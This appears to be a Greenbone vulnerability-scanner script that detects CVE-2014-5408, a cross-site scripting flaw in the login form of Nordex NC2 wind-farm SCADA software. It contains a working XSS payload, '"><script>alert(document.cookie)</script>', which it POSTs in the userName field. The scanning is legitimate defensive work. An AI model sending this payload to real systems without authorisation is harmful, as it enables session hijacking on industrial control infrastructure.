Nordex NC2 'username' Parameter Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804789");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2014-5408");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2014-11-11 17:47:43 +0530 (Tue, 11 Nov 2014)");
  script_name("Nordex NC2 'username' Parameter Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"Nordex NC2 is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Flaw exists because the application does not
  validate the 'username' parameter upon submission to the login script.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary HTML and script code in a users browser session
  in the context of an affected site.");

  script_tag(name:"affected", value:"Nordex Control 2 (NC2) SCADA V15
  and prior versions");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/98443");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70851");
  script_xref(name:"URL", value:"http://www.auscert.org.au/render.html?it=21058");
  script_xref(name:"URL", value:"https://ics-cert.us-cert.gov/advisories/ICSA-14-303-01");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

http_port = http_get_port(default:80);

foreach dir (make_list_unique("/", "/nordex", "/nc2", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  sndReq = http_get(item:string(dir, "/index_en.jsp"),  port:http_port);
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

  if(">Nordex Control" >< rcvRes && ">Wind Farm" >< rcvRes)
  {
    url = eregmatch(pattern:"<form .*method=.POST. action=.([a-z0-9/]+).>", string:rcvRes);

    postData = 'connection=basic&userName="><script>alert(document' +
               '.cookie)</script>&pw=&language=en';

    host = http_host_name(port:http_port);
    sndReq = string("POST ", url[1], " HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "Content-Type: application/x-www-form-urlencoded\r\n",
                    "Content-Length: ", strlen(postData), "\r\n",
                    "\r\n", postData, "\r\n");
    rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq, bodyonly:FALSE);

    if(rcvRes =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< rcvRes)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);